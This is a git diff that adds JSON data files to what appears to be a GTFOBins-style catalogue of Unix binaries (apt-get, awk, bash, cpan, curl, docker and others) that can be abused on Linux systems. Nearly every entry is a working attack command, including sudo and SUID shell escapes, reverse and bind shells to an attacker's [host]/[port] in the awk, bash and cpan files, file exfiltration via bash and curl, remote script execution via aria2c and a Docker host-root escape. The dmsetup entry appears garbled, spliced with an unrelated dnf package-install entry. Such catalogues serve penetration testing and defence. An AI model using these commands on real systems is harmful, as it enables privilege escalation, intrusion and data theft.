diff --git a/data/apt-get.json b/data/apt-get.json new file mode 100644 index 0000000..42e1190 --- /dev/null +++ b/data/apt-get.json @@ -0,0 +1,24 @@ +{ + "functions": { + "shell": [ + { + "description": "This invokes the default pager, which is likely to be 'less', other functions may apply.", + "code": "apt-get changelog apt\n!/bin/sh\n" + } + ], + "sudo": [ + { + "description": "This invokes the default pager, which is likely to be 'less', other functions may apply.", + "code": "sudo apt-get changelog apt\n!/bin/sh\n" + }, + { + "description": "For this to work the target package (e.g., 'sl') must not be installed.", + "code": "TF=$(mktemp)\necho 'Dpkg::Pre-Invoke {\"/bin/sh;false\"}' > $TF\nsudo apt-get install -c $TF sl\n" + }, + { + "description": "When the shell exits the 'update' command is actually executed.", + "code": "sudo apt-get update -o APT::Update::Pre-Invoke::=/bin/sh" + } + ] + } +} \ No newline at end of file diff --git a/data/apt.json b/data/apt.json new file mode 100644 index 0000000..f6e5898 --- /dev/null +++ b/data/apt.json @@ -0,0 +1,24 @@ +{ + "functions": { + "shell": [ + { + "description": "This invokes the default pager, which is likely to be 'less', other functions may apply.", + "code": "apt-get changelog apt\n!/bin/sh\n" + } + ], + "sudo": [ + { + "description": "This invokes the default pager, which is likely to be 'less', other functions may apply.", + "code": "sudo apt-get changelog apt\n!/bin/sh\n" + }, + { + "description": "For this to work the target package (e.g., 'sl') must not be installed.", + "code": "TF=$(mktemp)\necho 'Dpkg::Pre-Invoke {\"/bin/sh;false\"}' > $TF\nsudo apt install -c $TF sl\n" + }, + { + "description": "When the shell exits the 'update' command is actually executed.", + "code": "sudo apt update -o APT::Update::Pre-Invoke::=/bin/sh" + } + ] + } +} \ No newline at end of file diff --git a/data/aria2c.json b/data/aria2c.json new file mode 100644 index 0000000..388c99e --- /dev/null +++ b/data/aria2c.json @@ -0,0 +1,24 @@ +{ + "description": "Note that the subprocess is immediately sent to the background.", + "functions": { + "command": [ + { + "code": "COMMAND='id'\nTF=$(mktemp)\necho \"$COMMAND\" > $TF\nchmod +x $TF\naria2c --on-download-error=$TF http://x\n" + }, + { + "description": "The remote file 'aaaaaaaaaaaaaaaa' (must be a string of 16 hex digit) contains the shell script. Note that said file needs to be written on disk in order to be executed. '--allow-overwrite' is needed if this is executed multiple times with the same GID.", + "code": "aria2c --allow-overwrite --gid=aaaaaaaaaaaaaaaa --on-download-complete=bash [host]/aaaaaaaaaaaaaaaa" + } + ], + "suid": [ + { + "code": "COMMAND='id'\nTF=$(mktemp)\necho \"$COMMAND\" > $TF\nchmod +x $TF\n./aria2c --on-download-error=$TF http://x\n" + } + ], + "sudo": [ + { + "code": "COMMAND='id'\nTF=$(mktemp)\necho \"$COMMAND\" > $TF\nchmod +x $TF\nsudo aria2c --on-download-error=$TF http://x\n" + } + ] + } +} \ No newline at end of file diff --git a/data/arp.json b/data/arp.json new file mode 100644 index 0000000..3224733 --- /dev/null +++ b/data/arp.json @@ -0,0 +1,20 @@ +{ + "description": "The read file content is corrupted by error prints.\n", + "functions": { + "file-read": [ + { + "code": "arp -v -f [file]\n" + } + ], + "suid": [ + { + "code": "./arp -v -f [file]\n" + } + ], + "sudo": [ + { + "code": "sudo arp -v -f [file]\n" + } + ] + } +} \ No newline at end of file diff --git a/data/ash.json b/data/ash.json new file mode 100644 index 0000000..b1e558f --- /dev/null +++ b/data/ash.json @@ -0,0 +1,24 @@ +{ + "functions": { + "shell": [ + { + "code": "ash" + } + ], + "file-write": [ + { + "code": "ash -c 'echo DATA > [file]'\n" + } + ], + "suid": [ + { + "code": "./ash" + } + ], + "sudo": [ + { + "code": "sudo ash" + } + ] + } +} \ No newline at end of file diff --git a/data/awk.json b/data/awk.json new file mode 100644 index 0000000..ecf228c --- /dev/null +++ b/data/awk.json @@ -0,0 +1,41 @@ +{ + "functions": { + "shell": [ + { + "code": "awk 'BEGIN {system(\"/bin/sh\")}'" + } + ], + "non-interactive-reverse-shell": [ + { + "description": "Run 'nc -l -p [port]' on the attacker box to receive the shell.", + "code": "awk -v RHOST=[host] -v RPORT=[port] 'BEGIN {\n s = \"/inet/tcp/0/\" RHOST \"/\" RPORT;\n while (1) {printf \"> \" |& s; if ((s |& getline c) <= 0) break;\n while (c && (c |& getline) > 0) print $0 |& s; close(c)}}'\n" + } + ], + "non-interactive-bind-shell": [ + { + "description": "Run 'nc [host] [port]' on the attacker box to connect to the shell.", + "code": "awk -v LPORT=[port] 'BEGIN {\n s = \"/inet/tcp/\" LPORT \"/0/0\";\n while (1) {printf \"> \" |& s; if ((s |& getline c) <= 0) break;\n while (c && (c |& getline) > 0) print $0 |& s; close(c)}}'\n" + } + ], + "file-write": [ + { + "code": "awk -v LFILE=[file] 'BEGIN { print \"DATA\" > LFILE }'\n" + } + ], + "file-read": [ + { + "code": "awk '//' [file]\n" + } + ], + "sudo": [ + { + "code": "sudo awk 'BEGIN {system(\"/bin/sh\")}'" + } + ], + "limited-suid": [ + { + "code": "./awk 'BEGIN {system(\"/bin/sh\")}'" + } + ] + } +} \ No newline at end of file diff --git a/data/base64.json b/data/base64.json new file mode 100644 index 0000000..89c956b --- /dev/null +++ b/data/base64.json @@ -0,0 +1,19 @@ +{ + "functions": { + "file-read": [ + { + "code": "base64 [file] | base64 --decode\n" + } + ], + "suid": [ + { + "code": "./base64 [file] | base64 --decode\n" + } + ], + "sudo": [ + { + "code": "sudo base64 [file] | base64 --decode\n" + } + ] + } +} \ No newline at end of file diff --git a/data/bash.json b/data/bash.json new file mode 100644 index 0000000..4e255f4 --- /dev/null +++ b/data/bash.json @@ -0,0 +1,69 @@ +{ + "functions": { + "shell": [ + { + "code": "bash" + } + ], + "reverse-shell": [ + { + "description": "Run 'nc -l -p [port]' on the attacker box to receive the shell.", + "code": "bash -c 'bash -i &>/dev/tcp/[host]/[port] 0<&1'\n" + } + ], + "file-upload": [ + { + "description": "Send local file in the body of an HTTP POST request. Run an HTTP service on the attacker box to collect the file.", + "code": "bash -c 'echo -e \"POST / HTTP/0.9\\n\\n$(<[file])\" > /dev/tcp/[host]/[port]'\n" + }, + { + "description": "Send local file using a TCP connection. Run 'nc -l -p [port] > [file]' on the attacker box to collect the file.", + "code": "bash -c 'cat [file] > /dev/tcp/[host]/[port]'\n" + } + ], + "file-download": [ + { + "description": "Fetch a remote file via HTTP GET request.", + "code": "export RHOST=[host]\nexport RPORT=[port]\nexport LFILE=[file]\nbash -c '{ echo -ne \"GET /$LFILE HTTP/1.0\\r\\nhost: $RHOST\\r\\n\\r\\n\" 1>&3; cat 0<&3; } \\\n 3<>/dev/tcp/$RHOST/$RPORT \\\n | { while read -r; do [ \"$REPLY\" = \"$(echo -ne \"\\r\")\" ] && break; done; cat; } > $LFILE'\n" + }, + { + "description": "Fetch remote file using a TCP connection. Run 'nc -l -p [port] < [file]' on the attacker box to send the file.", + "code": "bash -c 'cat < /dev/tcp/[host]/[port] > [file]'\n" + } + ], + "file-write": [ + { + "code": "bash -c 'echo DATA > [file]'\n" + }, + { + "description": "This adds timestamps to the output file.", + "code": "HISTIGNORE='history *'\nhistory -c\nDATA\nhistory -w [file]\n" + } + ], + "file-read": [ + { + "description": "It trims trailing newlines and it's not binary-safe.", + "code": "bash -c 'echo \"$(<[file])\"'\n" + }, + { + "description": "The read file content is surrounded by the current history content.", + "code": "HISTTIMEFORMAT=$'\\r\\e[K'\nhistory -r [file]\nhistory\n" + } + ], + "library-load": [ + { + "code": "bash -c 'enable -f ./lib.so x'" + } + ], + "suid": [ + { + "code": "./bash -p" + } + ], + "sudo": [ + { + "code": "sudo bash" + } + ] + } +} \ No newline at end of file diff --git a/data/bpftrace.json b/data/bpftrace.json new file mode 100644 index 0000000..1ee7829 --- /dev/null +++ b/data/bpftrace.json @@ -0,0 +1,15 @@ +{ + "functions": { + "sudo": [ + { + "code": "sudo bpftrace -e 'BEGIN {system(\"/bin/sh\");exit()}'" + }, + { + "code": "TF=$(mktemp)\necho 'BEGIN {system(\"/bin/sh\");exit()}' >$TF\nsudo bpftrace $TF\n" + }, + { + "code": "sudo bpftrace -c /bin/sh -e 'END {exit()}'" + } + ] + } +} \ No newline at end of file diff --git a/data/busybox.json b/data/busybox.json new file mode 100644 index 0000000..a41b740 --- /dev/null +++ b/data/busybox.json @@ -0,0 +1,37 @@ +{ + "description": "BusyBox may contain many UNIX utilities, run 'busybox --list-full' to check what GTFBins binaries are supported. Here some example.", + "functions": { + "shell": [ + { + "code": "busybox sh" + } + ], + "file-upload": [ + { + "description": "Serve files in the local folder running an HTTP server.", + "code": "busybox httpd -f -p [port] -h .\n" + } + ], + "file-write": [ + { + "code": "busybox sh -c 'echo \"DATA\" > [file]'\n" + } + ], + "file-read": [ + { + "code": "./busybox cat [file]\n" + } + ], + "suid": [ + { + "description": "It may drop the SUID privileges depending on the compilation flags and the runtime configuration.", + "code": "./busybox sh" + } + ], + "sudo": [ + { + "code": "sudo busybox sh" + } + ] + } +} \ No newline at end of file diff --git a/data/cancel.json b/data/cancel.json new file mode 100644 index 0000000..3362380 --- /dev/null +++ b/data/cancel.json @@ -0,0 +1,10 @@ +{ + "functions": { + "file-upload": [ + { + "description": "Send local file using a TCP connection. Run 'nc -l -p [port] > [file]' on the attacker box to collect the file.", + "code": "cancel -u \"$(cat [file])\" -h [host]:[port]\n" + } + ] + } +} \ No newline at end of file diff --git a/data/cat.json b/data/cat.json new file mode 100644 index 0000000..8d02af4 --- /dev/null +++ b/data/cat.json @@ -0,0 +1,19 @@ +{ + "functions": { + "file-read": [ + { + "code": "cat [file]\n" + } + ], + "suid": [ + { + "code": "./cat [file]\n" + } + ], + "sudo": [ + { + "code": "sudo cat [file]\n" + } + ] + } +} \ No newline at end of file diff --git a/data/chmod.json b/data/chmod.json new file mode 100644 index 0000000..5dfa123 --- /dev/null +++ b/data/chmod.json @@ -0,0 +1,15 @@ +{ + "description": "This can be run with elevated privileges to change permissions and then read, write, or execute a file.", + "functions": { + "suid": [ + { + "code": "./chmod 0777 [file]\n" + } + ], + "sudo": [ + { + "code": "sudo chmod 0777 [file]\n" + } + ] + } +} \ No newline at end of file diff --git a/data/chown.json b/data/chown.json new file mode 100644 index 0000000..c5f274c --- /dev/null +++ b/data/chown.json @@ -0,0 +1,15 @@ +{ + "description": "This can be run with elevated privileges to change ownership and then read, write, or execute a file.", + "functions": { + "suid": [ + { + "code": "./chown $(id -un):$(id -gn) [file]\n" + } + ], + "sudo": [ + { + "code": "sudo chown $(id -un):$(id -gn) [file]\n" + } + ] + } +} \ No newline at end of file diff --git a/data/cp.json b/data/cp.json new file mode 100644 index 0000000..73043ff --- /dev/null +++ b/data/cp.json @@ -0,0 +1,15 @@ +{ + "description": "This can be used to copy and then read or write files from a restricted file systems or with elevated privileges.", + "functions": { + "suid": [ + { + "code": "TF=$(mktemp)\necho \"DATA\" > $TF\n./cp $TF [file]\n" + } + ], + "sudo": [ + { + "code": "TF=$(mktemp)\necho \"DATA\" > $TF\nsudo cp $TF [file]\n" + } + ] + } +} \ No newline at end of file diff --git a/data/cpan.json b/data/cpan.json new file mode 100644 index 0000000..3239932 --- /dev/null +++ b/data/cpan.json @@ -0,0 +1,33 @@ +{ + "functions": { + "shell": [ + { + "description": "'cpan' lets you execute perl commands with the '! command'.\n", + "code": "cpan\n! exec '/bin/bash'\n" + } + ], + "reverse-shell": [ + { + "description": "Run 'nc -lvp [port]' on the attacker box to receive the shell.", + "code": "export RHOST=[host]\nexport RPORT=[port]\ncpan\n! use Socket; my $i=\"$ENV{RHOST}\"; my $p=$ENV{RPORT}; socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\")); if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\"); open(STDOUT,\">&S\"); open(STDERR,\">&S\"); exec(\"/bin/sh -i\");};\n" + } + ], + "file-upload": [ + { + "description": "Serve files in the local folder running an HTTP server on port 8080. Install the dependency via 'cpan HTTP::Server::Simple'.", + "code": "cpan\n! use HTTP::Server::Simple; my $server= HTTP::Server::Simple->new(); $server->run();\n" + } + ], + "file-download": [ + { + "description": "Fetch a remote file via an HTTP GET request and store it in 'PWD'.", + "code": "export URL=[host]/[file]\ncpan\n! use File::Fetch; my $file = (File::Fetch->new(uri => \"$ENV{URL}\"))->fetch();\n" + } + ], + "sudo": [ + { + "code": "sudo cpan\n! exec '/bin/bash'\n" + } + ] + } +} \ No newline at end of file diff --git a/data/cpulimit.json b/data/cpulimit.json new file mode 100644 index 0000000..343c78d --- /dev/null +++ b/data/cpulimit.json @@ -0,0 +1,14 @@ +{ + "functions": { + "shell": [ + { + "code": "cpulimit -l 100 -f /bin/sh" + } + ], + "sudo": [ + { + "code": "sudo cpulimit -l 100 -f /bin/sh" + } + ] + } +} \ No newline at end of file diff --git a/data/crontab.json b/data/crontab.json new file mode 100644 index 0000000..92ae1ca --- /dev/null +++ b/data/crontab.json @@ -0,0 +1,16 @@ +{ + "functions": { + "command": [ + { + "description": "The commands are executed according to the crontab file edited via the 'crontab' utility.", + "code": "crontab -e" + } + ], + "sudo": [ + { + "description": "The commands are executed according to the crontab file edited via the 'crontab' utility.", + "code": "sudo crontab -e" + } + ] + } +} \ No newline at end of file diff --git a/data/csh.json b/data/csh.json new file mode 100644 index 0000000..36f8e60 --- /dev/null +++ b/data/csh.json @@ -0,0 +1,24 @@ +{ + "functions": { + "shell": [ + { + "code": "csh" + } + ], + "file-write": [ + { + "code": "ash -c 'echo DATA > [file]'\n" + } + ], + "suid": [ + { + "code": "./csh -b" + } + ], + "sudo": [ + { + "code": "sudo csh" + } + ] + } +} \ No newline at end of file diff --git a/data/curl.json b/data/curl.json new file mode 100644 index 0000000..45ae0af --- /dev/null +++ b/data/curl.json @@ -0,0 +1,34 @@ +{ + "functions": { + "file-upload": [ + { + "description": "Send local file with an HTTP POST request. Run an HTTP service on the attacker box to collect the file. Note that the file will be sent as-is, instruct the service to not URL-decode the body. Omit the '@' to send hard-coded data.", + "code": "curl -X POST -d @[file] [url]\n" + } + ], + "file-download": [ + { + "description": "Fetch a remote file via HTTP GET request.", + "code": "curl [url] -o [file]\n" + } + ], + "file-read": [ + { + "description": "The file path must be absolute.", + "code": "curl file://[file]\n" + } + ], + "suid": [ + { + "description": "Fetch a remote file via HTTP GET request.", + "code": "./curl [url] -o [file]\n" + } + ], + "sudo": [ + { + "description": "Fetch a remote file via HTTP GET request.", + "code": "sudo curl [url] -o [file]\n" + } + ] + } +} \ No newline at end of file diff --git a/data/cut.json b/data/cut.json new file mode 100644 index 0000000..94b8a10 --- /dev/null +++ b/data/cut.json @@ -0,0 +1,19 @@ +{ + "functions": { + "file-read": [ + { + "code": "cut -d \"\" -f1 [file]\n" + } + ], + "suid": [ + { + "code": "./cut -d \"\" -f1 [file]\n" + } + ], + "sudo": [ + { + "code": "sudo cut -d \"\" -f1 [file]\n" + } + ] + } +} \ No newline at end of file diff --git a/data/dash.json b/data/dash.json new file mode 100644 index 0000000..353d293 --- /dev/null +++ b/data/dash.json @@ -0,0 +1,24 @@ +{ + "functions": { + "shell": [ + { + "code": "dash" + } + ], + "file-write": [ + { + "code": "dash -c 'echo DATA > [file]'\n" + } + ], + "suid": [ + { + "code": "./dash -p" + } + ], + "sudo": [ + { + "code": "sudo dash" + } + ] + } +} \ No newline at end of file diff --git a/data/date.json b/data/date.json new file mode 100644 index 0000000..fb17ef2 --- /dev/null +++ b/data/date.json @@ -0,0 +1,20 @@ +{ + "description": "Each line is corrupted by a prefix string and wrapped inside quotes, so this may not be suitable for binary files. This only works for the GNU variant of 'date'.", + "functions": { + "file-read": [ + { + "code": "date -f [file]\n" + } + ], + "suid": [ + { + "code": "./date -f [file]\n" + } + ], + "sudo": [ + { + "code": "sudo date -f [file]\n" + } + ] + } +} \ No newline at end of file diff --git a/data/dd.json b/data/dd.json new file mode 100644 index 0000000..73c7b9f --- /dev/null +++ b/data/dd.json @@ -0,0 +1,24 @@ +{ + "functions": { + "file-write": [ + { + "code": "echo \"DATA\" | dd of=[file]\n" + } + ], + "file-read": [ + { + "code": "dd if=[file]\n" + } + ], + "suid": [ + { + "code": "echo \"DATA\" | ./dd of=[file]\n" + } + ], + "sudo": [ + { + "code": "echo \"DATA\" | sudo dd of=[file]\n" + } + ] + } +} \ No newline at end of file diff --git a/data/diff.json b/data/diff.json new file mode 100644 index 0000000..9037d0c --- /dev/null +++ b/data/diff.json @@ -0,0 +1,19 @@ +{ + "functions": { + "file-read": [ + { + "code": "diff --line-format=%L /dev/null [file]\n" + } + ], + "suid": [ + { + "code": "./diff --line-format=%L /dev/null [file]\n" + } + ], + "sudo": [ + { + "code": "sudo diff --line-format=%L /dev/null [file]\n" + } + ] + } +} \ No newline at end of file diff --git a/data/dmesg.json b/data/dmesg.json new file mode 100644 index 0000000..707f4e8 --- /dev/null +++ b/data/dmesg.json @@ -0,0 +1,10 @@ +{ + "description": "This invokes the default pager, which is likely to be 'less', other functions may apply.\n", + "functions": { + "sudo": [ + { + "code": "sudo dmesg -H\n!/bin/sh\n" + } + ] + } +} \ No newline at end of file diff --git a/data/dmsetup.json b/data/dmsetup.json new file mode 100644 index 0000000..f9cde50 --- /dev/null +++ b/data/dmsetup.json @@ -0,0 +1,14 @@ +{ + "functions": { + "sudo": [ + { + "code": "sudo dmsetup create base < $TF/x.sh\nfpm -n x -s dir -t rpm -a all --before-install $TF/x.sh $TF\n```", + "code": "sudo dnf install -y x-1.0-1.noarch.rpm\n" + } + ] + } +} \ No newline at end of file diff --git a/data/docker.json b/data/docker.json new file mode 100644 index 0000000..ffce476 --- /dev/null +++ b/data/docker.json @@ -0,0 +1,35 @@ +{ + "description": "This requires the user to be privileged enough to run docker, i.e. being in the 'docker' group or being 'root'. Any other Docker Linux image should work, e.g., 'debian'.", + "functions": { + "shell": [ + { + "description": "The resulting is a root shell.", + "code": "docker run -v /:/mnt --rm -it alpine chroot /mnt sh" + } + ], + "file-write": [ + { + "description": "Write a file by copying it to a temporary container and back to the target destination on the host.", + "code": "CONTAINER_ID=\"$(docker run -d alpine)\" # or existing\nTF=$(mktemp)\necho \"DATA\" > $TF\ndocker cp $TF $CONTAINER_ID:$TF\ndocker cp $CONTAINER_ID:$TF [file]\n" + } + ], + "file-read": [ + { + "description": "Read a file by copying it to a temporary container and back to a new location on the host.", + "code": "CONTAINER_ID=\"$(docker run -d alpine)\" # or existing\nTF=$(mktemp)\ndocker cp file_to_read $CONTAINER_ID:$TF\ndocker cp $CONTAINER_ID:$TF $TF\ncat $TF\n" + } + ], + "sudo": [ + { + "description": "The resulting is a root shell.", + "code": "sudo docker run -v /:/mnt --rm -it alpine chroot /mnt sh" + } + ], + "suid": [ + { + "description": "The resulting is a root shell.", + "code": "./docker run -v /:/mnt --rm -it alpine chroot /mnt sh" + } + ] + } +} \ No newline at end of file